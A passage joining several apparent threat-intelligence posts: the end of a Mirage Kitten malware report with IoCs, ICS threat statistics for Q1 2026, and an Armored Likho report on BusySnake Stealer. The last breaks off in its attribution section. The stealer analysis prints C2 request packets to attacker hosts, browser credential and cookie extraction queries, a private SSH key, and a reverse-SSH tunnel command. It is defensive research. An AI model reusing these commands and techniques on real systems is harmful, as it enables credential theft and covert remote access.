Notably, in the process of threat hunting, we detected another variant (MD5: C832ECD135781B11F59E3FFFB3D2B6AC) that shares the same dynamic-resolve stub pattern. This variant communicates with businessmixture.com/blog over WSS on port 443, and not through Microsoft Azure. Still, it implements the same technique of limiting execution to a specific username on the infected machine by hardcoding a 3-character control value that must appear as a substring in the lowercased Windows username retrieved via GetUserNameA. If the match fails, the implant silently exits, confirming per-target tailoring of each deployed binary.

ArcBridge: another WebSocket tunneling tool

ArcBridge is another WebSocket tunneling tool developed and used by Mirage Kitten. We first identified it in April 2026 in activity targeting victims in the Middle East. The malware creates a mutex named F56E68DA-4A89-46B4-9AC8-7290A7651000 to enforce single-instance execution. The use of a UUID-like mutex name is consistent with the NightLedger backdoor described earlier.
The malware contains an embedded configuration block that stores the C2 host, C2 port, retry or timeout value, SSL flag, and what is highly likely an implant identifier:

"<<STARTXX>>"
"aecert.org"
443
5000
0
"4B8CC395-A26F-41F1-A1DC-8B993D9D41D2"
"<<ENDXX>>"

After initialization, ArcBridge communicates over a WebSocket-style channel and waits for server-side control messages. It supports the following commands:

Command	Description
OPEN:	Creates a proxy/tunnel session to a target selected by the operator.
DNS:	Performs hostname or address resolution and returns the result.

Victimology

According to our telemetry, we identified victims across Middle East and African countries including Egypt, SMB and government environments in Jordan and Tanzania, aviation organizations in Pakistan, telecommunication companies in Ethiopia and financial-sector entities in Burkina Faso.

Conclusion

Mirage Kitten continues to evolve its malware arsenal to support targeted cyber-espionage operations across the Middle East and Africa regions. The NightLedger backdoor retains similar core command functionality to TWOSTROKE while introducing additional capabilities, including screenshot capture and collection of the NetSetup.log file.

Another notable aspect of the campaign is the group’s continued reliance on tunneling utilities as part of its operational toolkit. This aligns with previous public reporting, which documented the group’s use of the LIGHTRAIL and POLLBLEND tunnelers. Consistent with this tradecraft, we observed Mirage Kitten continuing to leverage tunneling capabilities alongside a gradual shift away from Microsoft Azure subdomain-style infrastructure in favor of Cloudflare-backed domains in some of its malware, a change likely intended to complicate attribution while maintaining resilient command-and-control communications.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

NightLedger backdoor
A239E655709A2518DD0B7BDBED163679 – sspicli.dll

ArcBridge WebSocket tunneling tool
5FA15EF96808EA82F0A6176F0BB4B386
42F847597109DA2A220391BB09D00676
AFB1C1583606599C7272CFB33CC6F498

BridgeHead WebSocket tunneling tool
6038D42AF0AFFD1FB263F470C0956F6B – unbcl.dll
AE628EFA305387B633DCE82F9364875B – unbcl.dll
F7D36CC5904A53252D2BB3D21615134F – libwinpthread-1.dll
C90F0EFADBF322E5EB1C4103A38C30E6 – libwinpthread-1.dll
D09B14A2FE01C7363ECC56F5D046162C – IPHLPAPI.dll

Domains and IPs

smartconnect[.]azurewebsites[.]net
businessmixture[.]com
global-reds[.]com
maadinglobal[.]com
Business-deegital[.]com
business-deegital[.]azurewebsites[.]net
businessdeegital[.]azurewebsites[.]net
neexportfolio[.]azurewebsites[.]net
neexportfolio[.]com
neexportfolio[.]eastus[.]cloudapp[.]azure[.]com
172[.]86[.]98[.]113
aecert[.]org
realhealthshop[.]com
tjconsultingservices[.]com
thehealth-life[.]com
buisness-centeral-transportation[.]com
healthcarezoom-centeral[.]azurewebsites[.]net
healthcarezoomcenteral[.]azurewebsites[.]net
healthcarezoomcenteral[.]org
toadreport[.]azurewebsites[.]net
business-startup[.]azurewebsites[.]net
businessstartup[.]azurewebsites[.]net

Content In the second quarter of 2026, the AhnLab SEcurity intelligence Center (ASEC) collected and analyzed attack logs targeting poorly managed Linux SSH servers through honeypots. The scope of the analysis covers attack sources that progressed to executing actual malware installation commands, as well as statistics on the malware used in those attacks. Purpose and […]

Contents The AhnLab SEcurity intelligence Center (ASEC) analyzed attack logs from the second quarter of 2026 targeting MS-SQL server and MySQL server installations on Windows. This report summarizes the damage status, attack status, and the classification of the malware and tools used in the attacks. Purpose and Scope The targets are MS-SQL servers and MySQL […]

Content In the second quarter of 2026, the AhnLab SEcurity intelligence Center (ASEC) compiled an analysis of the current attack status for poorly managed Windows web servers and classified the malware used in these attacks. The targets were Internet Information Services (IIS) web servers and Apache Tomcat web servers running in Windows environments. Purpose and […]

All threats

The percentage of ICS computers on which malicious objects were blocked continued to decrease, reaching 19.6% in Q1 2026. This is the lowest value in three years, and it is 1.4 times lower than in Q2 2023.

Regionally, the percentages ranged from 9.1% in Northern Europe to 27.4% in Africa.

The percentage of ICS computers on which malicious objects were blocked increased in five regions over the quarter, most notably in Southern Europe, Northern Europe, and Russia.

In Q1 2026, Southern Europe led the way in growth for internet and email threats. The region also saw the fastest growth in spyware, as well as malicious scripts and phishing pages.

In Russia, the percentage of ICS computers on which malicious objects were blocked exceeded the figures for the previous two quarters. Russia saw an increase in the percentage for threats from the internet, and a slight increase in the figure for threats from email clients (Russia is one of three regions where this figure did not decrease).

Among the threat categories, the greatest increases were observed in the percentages for denylisted internet resources, as well as spyware (distributed in the region via the internet and email clients).

Selected industries

Biometric systems (26.4%) traditionally rank top among the industries and OT infrastructure types covered in this report in terms of the percentage of ICS computers on which malicious objects were blocked. These systems are characterized by internet access, extensive email use for data exchange and approvals (such as access granting), and, in many cases, minimal cybersecurity controls within the organizations that use these systems.

Biometric systems rank first among industries in terms of email threats. At the same time, unlike other industries, the percentage for email threats in biometric systems exceeds that for internet threats.

In all selected industries, the global average follows a downward trend. In Q1 2026, the percentage of ICS computers on which malicious objects were blocked increased only in the manufacturing sector — by 1.0 pp. The percentages for this industry increased across 10 regions, with the most notable increases in Western Europe, Northern Europe, and Russia.

Threat categories

In Q1 2026, Kaspersky security solutions blocked malware from 10,052 different malware families of various categories on industrial automation systems.

Over the quarter, the percentage of ICS computers on which denylisted internet resources were blocked increased (after decreasing over the previous two quarters), and there was a slight increase in the percentage for AutoCAD malware.

Malicious scripts and phishing pages (JS and HTML)

Malicious scripts and phishing pages retained their to spot among threat categories by the percentage of ICS computers on which these threats were blocked. The global average in Q1 2026 was 6.56%.

Over the quarter, the percentages increased in four regions. The most significant change was observed in Southern Europe (9.85%, +0.94 pp). The figures for malicious scripts in the region increased over three consecutive quarters.

Among the selected industries, across all regions, the highest percentages for the malicious scripts and phishing pages category were recorded for biometric systems (19.59%) and building automation (15.43%) in Southern Europe. These same industries lead in similar rankings for malicious documents and spyware.

Spyware

The percentage of ICS computers on which spyware was blocked decreased over two consecutive quarters, dropping to 3.73%. Despite the decline, spyware has ranked second among threat categories by the percentage of attacked computers for three consecutive quarters.

The percentages increased in five regions over the quarter, most notably in Southern Europe (5.46%, +0.35 pp) and Russia (2.84%, +0.24 pp).

In Southern Europe, the percentage of ICS computers on which spyware was blocked increased in all the selected industries except manufacturing. The greatest increase was observed in biometric systems.

Among the selected industries, the highest percentage of spyware in Russia was recorded in biometric systems. That said, the percentage of ICS computers on which spyware was blocked increased in all industries in the region except construction. The percentage figure has been increasing for two consecutive quarters in the oil and gas industry (by a factor of 1.63 over six months), and for three consecutive quarters in engineering and ICS integration, as well as electric power. In the remaining sectors, the values have been fluctuating.

Denylisted internet resources

The percentage of ICS computers on which denylisted internet resources were blocked increased to 3.54%.

The most notable increase over the quarter occurred in Southeast Asia (4.58%, +0.65 pp). Among the industries in the region, the highest percentage figures for this threat category were recorded in electric power and construction. Over the quarter, the largest increases in percentages figures were observed in the electric power and manufacturing industries.

In North America (Canada), denylisted internet resources (2.14%) showed the greatest increase among all categories — by a factor of 1.22.

Among the selected industries across all regions, the highest percentage figures for the denylisted internet resources category were in the electric power (7.11%) and construction (6.25%) industries in Southeast Asia.

Malicious documents (Microsoft Office + PDF)

The percentage figure for this category decreased over two consecutive quarters, reaching its lowest value (1.56%) for the entire period of observations in Q1 2026. It increased just in two regions: Australia and New Zealand (1.12%, +0.04 pp), and Russia (0.62%, +0.01 pp).

Among the selected industries across all regions, the highest percentages for malicious documents were recorded for biometric systems (9.02%) and building automation (6.97%) in Southern Europe. These same industries also lead in similar rankings for malicious scripts and spyware.

Ransomware

The percentage of ICS computers on which ransomware was blocked has decreased for two consecutive quarters, dropping to 0.14%. This is the lowest value among all categories.

The percentage increased in two regions: North America (Canada) (0.11%, +0.04 pp) and slightly in Northern Europe (0.06%, +0.01 pp).

Among the selected industries across all regions, the highest percentages for ransomware were recorded in the oil and gas and manufacturing industries (0.92% and 0.65%, respectively) in Central Asia and the South Caucasus, and in biometric systems (0.89%) in Russia.

Miners in the form of executable files for Windows

The percentage of ICS computers on which miners in the form of executable files for Windows were blocked decreased to 0.59%.

The percentage increased in seven regions. The largest increase was observed in Africa (0.63%, +0.16 pp). Among the selected industries, the largest increases in the region were in the manufacturing and oil and gas industries.

Among the selected industries across all regions, the highest percentages for miners in the form of executable files were recorded in construction (1.99%), biometric systems (1.98%), and the oil and gas industry (1.97%) in Central Asia and the South Caucasus.

Web miners

The percentage of ICS computers on which web miners were blocked has been declining for a year, and in Q1 2026, it reached the lowest value for the entire period under review (0.22%).

At the same time, the percentage increased in seven regions. The largest increases were observed in South Asia (0.28%, +0.11 pp), the Middle East (0.31%, +0.09 pp), and Africa (0.34%, +0.08 pp). Despite the increases, the percentages in these regions for Q1 2026 did not exceed those observed in 2023–2024 and in Q1 2025.

Among the selected industries across all regions, the highest percentages for web miners were recorded for biometric systems (0.97%) in Russia. Biometric systems in South Asia (0.79%) ranked second, and the electric power sector in Southeast Asia (0.76%) ranked third.

Worms

The percentage of ICS computers on which worms were blocked decreased to 1.33%.

The percentage decreased across all regions following an increase in the previous quarter (due to a wave of phishing attacks that distributed the Backdoor.MSIL.XWorm backdoor worm across all regions of the world).

Among the selected industries across all regions, the highest percentage figure for worms was recorded for biometric systems (4.80%) in Central Asia and the South Caucasus. Two industries in Africa – biometric systems (4.04%) and electric power (3.53%) – took the second and third spots, respectively.

Viruses

The percentage of ICS computers on which viruses were blocked decreased to 1.31%.

The top 3 regions by this figure remained the same: Southeast Asia (6.11%, first by a wide margin), Africa (4.15%), and East Asia (2.97%). These same regions are also among the leaders by the percentage of systems affected by AutoCAD malware. The largest increase in this figure was observed in Africa (+0.41 pp).

Among the selected industries across all regions, the highest percentages for viruses were recorded in the construction industry (6.35%) and building automation (5.50%) in Southeast Asia.

Malware for AutoCAD

The percentage of ICS computers on which malware for AutoCAD was blocked increased to 0.30%.

The most notable increase over the quarter was observed in Africa, with the region’s percentage figure rising by 0.47 pp, a very significant increase for this category, and almost doubling (to 0.91%).

Among the selected industries across all regions, the highest percentages for AutoCAD malware were recorded in the construction industry in East Asia (5.58%) and Southeast Asia (3.87%).

Main threat sources

In Q1 2026, the average percentages across all threat sources, except threats from the internet, decreased globally.

Internet

The percentage of ICS computers on which threats from the internet were blocked increased to 7.88%. However, over the past three years, the percentage figure for internet threats has followed a downward trend.

The largest increases in the percentages were recorded in Southern Europe (8.59%, +0.59 pp), Southeast Asia (10.16%, +0.55 pp), and Northern Europe (4.47%, +0.51 pp).

Among the selected industries across all regions, the highest percentages for threats from the internet were recorded in electric power (13.16%) and construction (12.55%) in Southeast Asia, and in the engineering and ICS integration sector (12.33%) in South Asia.

Email clients

The percentage of ICS computers on which threats delivered via email clients were blocked decreased to 2.59%. This is a three-year low.

The percentage of this threat source increased in three regions: Southern Europe (6.54%, +0.2 pp), East Asia (1.5%, +0.09 pp), and slightly in Russia (0.7%, +0.04 pp).

Among the selected industries across all regions, the highest percentages for email threats were recorded for biometric systems (19.78%) and building automation (12.34%) in Southern Europe. In these two industries, the percentage of ICS computers on which email threats are blocked is higher than the percentage for threats from the internet. A similar situation was observed in two other instances, both in biometric systems (in South America and Southeast Asia).

Removable media

The percentage of ICS computers on which threats were detected when connecting removable media continued to decrease, reaching its lowest value for the period under review (0.26%).

Among the selected industries across all regions, the highest percentages for removable media threats blocked on ICS computers were observed in the electric power sector in Central Asia and the South Caucasus (1.45%), East Asia (1.34%), and Africa (1.16%).

Network folders

The percentage of ICS computers on which threats are blocked in network folders is steadily decreasing. In Q1 2026, it was the lowest for the period under review (0.029%).

East Asia has traditionally led by a wide margin. The percentage for East Asia (0.135%) is 27 times higher than the lowest regional value (recorded in Northern Europe).

The largest increases in the percentages for threats from network folders were observed in Africa (0.037%, +0.006 pp) and South America (0.013%, +0.006 pp).
Among the selected industries across all regions, the construction industry in East Asia, at 0.36%, holds the top positions in the ranking by the percentage of ICS computers on which threats are blocked in network folders.

For more information on industrial threats see the full version of the report.

Introduction

During our routine threat monitoring, we uncovered a new phishing campaign tied to a previously unknown APT group that we dubbed Armored Likho (also known as Eagle Werewolf based on circumstantial evidence). This targeted campaign focuses heavily on government agencies and the electric power sector. The geographical footprint of these attacks spans Russia, Brazil, and Kazakhstan, establishing the group as a global threat actor.

Armored Likho blends financially motivated campaigns targeting private individuals with targeted cyber-espionage aimed at organizations. Their toolkit features obfuscated, modular RATs and infostealers specifically engineered to bypass dynamic analysis. Alongside these, they leverage simpler tools like Go2Tunnel for remote access and network tunneling. This diverse malware stack enables the threat actor to maintain stealthy control of compromised hosts, exfiltrate credentials and other sensitive information, and dynamically deploy downloadable modules tailored to the victim’s profile and the tasks at hand.

Key campaign highlights:

• The group is leveraging a previously undocumented tool dubbed BusySnake Stealer. This Python-based infostealer is designed to target Windows systems. We discovered multiple versions of the malware, along with an additional module dedicated to stealing cookies.
• The first-stage malicious payload, consisting of loaders and stagers, was generated using AI, which blurs the attackers’ TTPs and complicates attribution efforts.

This campaign highlights several concurrent trends: the growing technical maturity of Armored Likho, tool polymorphism, and a shift toward more complex schemes aimed at bypassing security solutions — ranging from Python source code obfuscation to embedding network mechanisms directly into the malware code. In this post, we’ll dissect the campaign that remains active at the time of publication, as well as the toolkit utilized by the attackers.

Initial infection vector

Phishing remains one of the primary initial access vectors that this threat actor heavily relies on in its latest campaigns. Armored Likho uses spear-phishing emails, with themes ranging from official government notices to social programs. In their most recent campaign, the attackers distributed malicious attachments inside archive files with names such as 1bfb2e79-8084-429e-a35c-8b595ab9f839_psihologicheskiy_test.zip (psychological test) or zayavka_gumanitarnayapomosch.rar (humanitarian aid application). These archives contained executables or LNK files named to mimic the email themes, tricking users into executing them on their devices. Below, we break down several variants of how they achieve initial access.

EXE attachment

In one attack variant, the archive contains a dropper named psihologicheskiy_test.exe, which is a self-extracting archive built using the Nullsoft Scriptable Install System (NSIS). When the victim opens the file, a decoy application launches to disarm suspicion by presenting a fake psychological survey. While we have observed similar droppers in the group’s previous campaigns, those earlier versions were written in Rust.

Once executed, the dropper writes a legitimate executable, $temp\nsn5531.tmp\pnx.exe, to disk and launches it. Code is then injected into the pnx.exe process memory to execute a malicious loader. This loader, in turn, fetches several archives hosted in GitHub repositories. Our analysis of these repositories uncovered early development builds and test samples of the malware. Data release in the repository is automated, allowing for rapid rotation of both payloads and the repositories themselves.

The downloaded archives are extracted into the $appdata\WindowsHelper directory. This serves as the malware’s working directory, where all subsequent components of the attack are staged and executed.

The fetched package contains the following components:

• The primary payload: a stealer named module.pyw
• The runtime directory with the components of the PyArmor execution environment
• A Python 3.12 interpreter
• The get-pip.py script: used to install the pip package manager and fetch required dependencies

Once executed, the script installs pip and pulls down the core dependencies required for the payload to run.

With all dependencies in place, the malware creates two VBScript files in the same $appdata\WindowsHelper directory. The first, wh_selfdelete.vbs, is used to wipe the initial pnx.exe loader from the system:

The second script, run.vbs, is designed to execute module.pyw and is used to ensure persistence on the system by creating a scheduled task:

This task ensures that the payload, BusySnake Stealer, is executed every five minutes.

LNK attachment

In alternate campaigns, the archive contains a file named Zayavka_[redacted].lnk. The group leveraged the ZDI-CAN-25373 shortcut vulnerability to conceal the contents of their command line. This flaw allows the attackers to use spaces or line breaks to hide execution parameters.

Consequently, when the user runs the malicious LNK file, it triggers the following obfuscated command:

This, in turn, spawns a PowerShell command that downloads and executes the malicious loader:

Upon execution, the loader downloads and opens a decoy DOCX document. We have observed various decoy themes, ranging from humanitarian aid requests to debt clearance certificates.

Decoy documents

Once the decoy is displayed, the loader initializes the environment variables required to stage the next phase, including URL paths, installation directories, and required library manifests. While we observed variations across different first-stage payload samples, their core functionality remains identical.

Next, the loader fetches a Python 3.12 interpreter (python.zip), the get-pip.py script, and a data.zip archive containing the module.pyw payload. From this point, mirroring the first infection vector, the malware installs its dependencies and establishes persistence through a combination of a VBScript file and a scheduled task.

As shown in the screenshots, the loader’s source code contains verbose comments and bullet-point emojis. This coding style is highly uncharacteristic of human-developed malware. It strongly indicates that the group is leveraging LLMs to generate their malicious payloads.

Ultimately, both infection vectors lead to the execution of the primary payload, which we break down in detail below.

BusySnake Stealer

The primary payload in this campaign is a previously undocumented, Python-based infostealer that we have dubbed BusySnake Stealer.

The stealer’s source code implements multiple evasion techniques designed to thwart detection and complicate static analysis. Specifically, the BusySnake Stealer code is obfuscated and encrypted using PyArmor Pro version 9.2.0. The malware dynamically decrypts its bytecode only at the exact moment a function is called, re-encrypting the data immediately afterward. Additionally, the malware runs in the background without spawning a console window, as indicated by its PYW file extension.

During our analysis, we successfully stripped the protector and disassembled the executable functions. Below, we break down the stealer’s configuration and core functionality.

Before executing its main routines, the malware initializes its configuration file. It contains the C2 server address, directory paths, regular expressions, screenshot intervals, a User-Agent string for network communications, and many more. An example configuration from one of the captured samples is shown below.

The stealer’s architecture relies on handlers, each responsible for specific functions. The table below details the role of each handler.

Handler Name	Description
single_instance_lock	Prevents multiple instances of the stealer from running concurrently on the compromised host.
start_key_clipboard_logger	Steals data from the system clipboard.
start_inventory_background	Enumerates files across the system and logs their metadata into a local database.
extract_hex64_from_file	Attempts to extract 64-character hexadecimal keys from the files.
start_send_documents_priority_background	Forwards user documents to the C2 server.
take_screenshot	Captures screenshots and saves them to the SCREEN_DIR directory.
archive_pngs	Archives captured screenshots and purges previously created archives from the disk.
poll_task	Waits for incoming C2 commands to execute.
ensure_schtask	Checks for the presence of a scheduled task to maintain persistence. If none is found, it drops a VBScript launcher and registers a new scheduled task.

Below, we break down the execution logic of the malware’s core functions.

Upon execution, the malware calls the single_instance_lock function to ensure that only one instance of the stealer is active on the system. To achieve this, the sample utilizes a non-standard lock-file algorithm, rather than traditional methods like creating a mutex or setting a registry value. The function first checks if the file Roaming\WindowsHelper\screenshots\.lock is locked by another process; if it is, the new instance fails to launch. If the file is not locked, the malware reads the Process ID (PID) stored within it. If that process doesn’t exist and the system uptime exceeds the file’s last modification timestamp, the stealer overwrites the lock file and proceeds with execution.

Immediately after initialization, the start_key_clipboard_logger function begins harvesting data from the system clipboard. The malware polls the clipboard contents in an infinite loop, appending any new or updated data to the KEYLOG_FILE using the following format:

[Clipboard] {timestamp} {escaped_clipboard_content}

Additionally, the stealer maps out the local file system using the start_inventory_background function.

This background process first initializes a database at Roaming\WindowsHelper\inventory_state.db. Within this database, the stealer generates a tracking table to log file metadata:

sqlite3.connect(STATE_DB_PATH)
execute CREATE TABLE IF NOT EXISTS scanned_files (path TEXT PRIMARY KEY,mtime REAL,size INTEGER)'

The malware then enumerates files and directories to build an object tree. During this scanning phase, the stealer explicitly skips core system directories, ignores files larger than 16 MB, and filters out files matching a hardcoded exclusion list of extensions.

Discovered files are passed to the extract_hex64_from_file function to scrape for 64-character hexadecimal keys. The malware opens each file in read mode and scans for strings matching the [0-9a-fA-F]{64} regular expression. Any identified keys are logged into the previously created database. The keys themselves are written to a separate file and forwarded to the C2 server. Once the full scan wraps up, a completion message is committed to the log file using the following format:

log(
	f'Інвентаризація завершена за {elapsed:.1f}s. '
	f'Нових: {counters["new"]}, '
	f'Старих: {counters["skipped"]}, '
	f'Знайдено: {counters["found"]}'
)

Next, the start_send_documents_priority_background function kicks off to map out logical drives. The malware identifies the system drive and recursively sweeps the user directories under /Desktop, /Documents, and /Downloads. During this enumeration phase, it filters the paths — checking only directories whose names start with $ and do not contain the string System Volume Information. Directory contents are also filtered based on an ignore list of extensions. The remaining files are then checked: if a file has not been previously sent and its size does not exceed 5 MB, it is transmitted to the C2 server.

The stealer maintains an active connection with the C2 server to await incoming instructions during execution. The poll_task function polls the C2 server in a continuous loop for new commands. Below is an excerpt of a typical request packet:

GET /get_task?client_id=DESKTOP-[redacted] HTTP/1.1\r\n
Host: 159.198.41.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0

The C2 sign-in form interface is shown below:

Commands are transmitted from the C2 server as function names, which are detailed in the table below:

Function Name	Description
handle_send_screenshots_command	Captures screenshots at a designated interval, bundles them into an archive, and exfiltrates them to the C2 server.
send_and_clear_keystroke_log	Exfiltrates logged keystroke data to the C2 server and clears the log file afterward.
handle_extract_chromium_passwords	Decrypts stored passwords from Chromium-based browser databases using the DPAPI.
handle_extract_firefox_passwords	Decrypts passwords from Firefox databases by invoking the PK11SDR_Decrypt function.
handle_collect_and_send_cookies	Extracts cookies from browser databases and uploads them to the C2 server.
handle_extract_cookies_v7_command	Extracts cookies by installing an extension into the browser.
handle_search_2fa_secrets_command	Scrapes for OTP keys by continuously monitoring the clipboard and parsing local files; if an otpauth:// string is matched, the key is logged to 2fa_secrets.txt.
handle_search_wallet_jsons_command	Sweeps user directories to locate cryptocurrency wallet files with a JSON extension.
handle_split_and_send_tdata_command	Harvests Telegram session and credential data from the APPDATA/Telegram Desktop/tdata directory; it force-terminates the telegram.exe process, stages the files in a temporary directory, compresses them, and exfiltrates the archive to the C2 server.
handle_start_proxy_command / handle_stop_proxy_command	Establishes a reverse SSH tunnel using an SSH command and private key previously received from the C2 server. The second function terminates the connection and purges the key from the host.
handle_remote_control_command	Checks for an active installation of RustDesk on the endpoint. If missing, it downloads the application from GitHub. If already present, it restarts the RustDesk process to prompt the user to re-enter their ID and password, grabs a screenshot of the credentials, and exfiltrates the captured data to the C2 server.

After executing each command, the stealer sends a report back to the C2 server containing the task completion status.

POST /report_status HTTP/1.1
Host: 159.198.41.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 90
Content-Type: application/json
{"client_id": "DESKTOP-[redacted]", "command": "send_found_keys", "status": "ok", "note": ""}

Password exfiltration from Firefox and Chromium-based browsers

When BusySnake Stealer receives a C2 command to harvest passwords from Chromium-based browsers, it passes the task to the handle_extract_chromium_passwords function. The malware locates the specific browser data directory, verifies that it is not empty, and targets the Login State file, which contains the master key used to encrypt the local password database.

The master key is protected via the Windows Data Protection API (DPAPI). By operating within the security context of the user who originally encrypted the key, the stealer is able to decrypt it using the win32crypt.CryptUnprotectData() function.

Then, user accounts are extracted from the browser database via an SQL query, while passwords remain encrypted.

SELECT origin_url, username_value, password_value FROM logins

Next, the passwords are decrypted using a master key and saved in plaintext to the Roaming\WindowsHelper\chromium_passwords.json file.

For Firefox, the exfiltration workflow follows a similar logic. The stealer receives a command to extract browser credentials, which is then processed by the handle_extract_firefox_passwords function. The implant then scans the Mozilla\Firefox\Profiles directory and checks each user profile for the presence of both logins.json and key4.db. If either file is missing, the profile is skipped. The malware then parses the contents of logins.json, extracting the hostname, encryptedUsername, and encryptedPassword fields from each entry.

The extracted data is placed into a SECItem structure. Upon calling the NSS_Init() function, the NSS library — which Firefox relies on — automatically initializes its built-in cryptographic module and accesses the key4.db database. If the database is not protected by a master password, the module loads the signing key stored within it. In this scenario, the PK11SDR_Decrypt() function can successfully decrypt the credentials without requiring any user prompts or additional steps. Thus, BusySnake Stealer exploits insecure Firefox browser practices: storing the database master key in plaintext and the lack of re-authentication when decrypting data with it.

The decrypted credentials are saved directly to the Roaming\WindowsHelper\firefox_passwords.json file.

Cookie extraction

The stealer harvests cookies using a workflow nearly identical to its browser credential theft routine. Upon receiving the handle_collect_and_send_cookies command from the C2 server, the malware triggers the corresponding function. It then scans browser directories for the following database files: Cookies for Chromium-based browsers and cookies.sqlite for Firefox. Once located, it uses SQL queries to extract the cookies.

For Chromium-based browsers, the malware executes the following query:

SELECT host_key, name, value, encrypted_value, path, expires_utc FROM cookies

For Firefox, it uses this query:

SELECT host, name, value, path, expiry FROM moz_cookies

All harvested data is decrypted and saved to a file located at Roaming\WindowsHelper\all_browser_data.json, which is then exfiltrated to the C2 server and wiped from the host.

In addition to this method, the stealer fetches a supplementary module designed to extract cookies by installing a browser extension. Upon receiving the appropriate directive, the malware executes the handle_extract_cookies_v7_command function. It then pulls down the additional module as an archive from the Releases page of a GitHub repository, mirroring the initial staging process used by the stealer itself.

The source code of this secondary module is also protected with PyArmor. Once executed, the module spins up a local web server to capture and parse the cookies extracted from the browser. Next, the module creates the files for a browser extension used to steal cookies:

• manifest.json: details the extension structure and required permissions
• sw.js: contains the primary execution logic for the extension

Once these components are staged, the extension is installed into the browser.

To ensure Google Chrome launches with the extension installed, the module uses specific arguments to start the browser.

Once active, the extension verifies the availability of the local web server initialized during the previous stage. If the server is responsive, the extension reads the cookie data, stores it in a cookiesData object, and transmits it to the following URL:

http://127.0.0.1:8000/?data_type=c

The local server processes the incoming payload, saves it to a file named extracted_cookies.json, and subsequently exfiltrates it to the C2 server.

Reverse SSH tunneling

The group previously used a Go-based tool for creating reverse SSH tunnels, named Go2Tunnel by researchers. BusySnake Stealer implements a similar feature as a built-in function.

The implant receives a directive from the C2 server to establish a reverse SSH tunnel, routing the task to the handle_start_proxy_command function. The stealer initially sends a request to the following URL, appending the victim’s unique machine identifier to the request parameters:

https://grked[.]online/tunnel/create/?username=[redacted]

If the configuration specifies an HTTP endpoint instead of HTTPS, the URL format adjusts as follows:

http://grked[.]online:8000/tunnel/create/?username=[redacted]

In response, the server returns data containing all the parameters required to establish the tunnel.

{"username":"[redacted]","socks_host":"159.198.32[.]222","socks_port":26380,"private_key":
"BEGIN OPENSSH PRIVATE KEY\								nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW\nQyNTUxOQAAACDLcOYV2VpiBmn6KfPcA7w5k4LXxnDSUHwQ								sMTd5TjQRAAAAJhSGysYUhsr\nGAAAAAtzc2gtZWQyNTUxOQAAACDLcOYV2VpiBmn6KfPcA7w5k4LXxnDSUHwQsMTd5TjQRA\nAAAEDHFs74hGkvUfzK/gL								hfXdilmEnVbyD8V3Aqj5LRQdJJstw5hXZWmIGafop89wDvDmT\ngtfGcNJQfBCwxN3lONBEAAAAEXJvb3RAZjM3YzRjNjE4NjJjAQIDBA==\n
END OPENSSH PRIVATE KEY\n",
"ssh_command":"ssh -N -o ExitOnForwardFailure=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -R 0.0.0.0:26380 [redacted]@159.198.32[.]222"}

The malware extracts the private key and the specific SSH command from this response. Using these components, it initiates a connection to a remote server controlled by the attackers, granting them persistent remote access and interactive control over the compromised host.

To close the tunnel, the stealer receives the handle_stop_proxy_command command and processes it with the function of the same name, after which the private key file is deleted and the associated SSH process is terminated.

New version of the BusySnake Stealer

During our infrastructure analysis of the threat actor, we uncovered a newer iteration of the stealer. The distribution method and static obfuscation mechanism remained unchanged; however, Armored Likho modified their TTPs and altered the code structure of BusySnake Stealer.

In the new version, instead of calling schtasks directly, the malware uses the win32com.client library to create scheduled tasks through interaction with the Schedule.Service COM object, indicating a shift toward less detectable execution methods.

This approach ensures a more stealthy persistence mechanism. Furthermore, to bypass dynamic analysis mechanism, the authors added a function that pauses execution before triggering malicious routines.

We also observed refinements to the architectural design of BusySnake Stealer. The attackers built a new task-management framework to handle incoming C2 commands. Each task is assigned a unique identifier, and before execution, the stealer checks for the presence of this task in a specified list. To track execution states in real time, tasks are dynamically assigned one of four operational statuses: SCHEDULED, IN_PROGRESS, SUCCEEDED, or FAILED.

The introduction of task execution statuses resulted in an updated C2 communication schema. The updated endpoints and request packet structure are detailed in the table below:

Handler Name	Endpoint	Request body	Description
poll_commands	{Config.DASHBOARD_URL}/api/v1/client/ {Config.CLIENT_ID}/commands/?bid={Config.BUILD_ID}	–	Awaits new commands for execution
poll_tasks	{Config.DASHBOARD_URL}/api/v1/client/ {Config.CLIENT_ID}/tasks/?bid={Config.BUILD_ID}	–	Awaits Python scripts for execution
set_task_status	{Config.DASHBOARD_URL}/api/v1/client/ {Config.CLIENT_ID}/commands/{task_id}/	{ ‘status’: status, ‘logs’: logs }	Transmits task status updates
upload_file_once	{Config.DASHBOARD_URL}/api/v1/client/ {Config.CLIENT_ID}/files/	{ ‘file’:(file_name,io.BytesIO(text.encode(‘utf8’), ‘text/plain; charset=utf8’) } meta= { ‘name’: file_name, ‘file_type’: file_type, ‘task_id’:task_id }	File exfiltration to the C2

One of the most significant architectural upgrades is the introduction of a dedicated class designed to execute arbitrary Python scripts. In this updated variant of the stealer, the poll_commands function is responsible for retrieving commands from the C2 server, while the poll_tasks routine is specifically dedicated to fetching Python scripts. Before running a retrieved script, the malware dynamically installs any required dependencies via pip. It then spawns a new process and executes the script’s code directly within memory without ever writing the file to disk — a technique intended to bypass security.

Attribution

We attribute this campaign to the Armored Likho threat group with medium confidence, basing our assessment on the analysis of the tools and network activity.

1. In previously identified campaigns, the group used the Go2Tunnel tool designed to create reverse SSH tunnels. In BusySnake Stealer, similar functionality is implemented as a built-in feature. Both tools receive a tunnel establishment command and a private SSH key from the C2 server, while making requests to similar endpoints. Furthermore, both payloads initiate their tunnels using SSH commands with an identical set of arguments:
   

   -N -o ExitOnForwardFailure=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p {port}  -R 0.0.0.0:{port} {name}@{IPaddress}

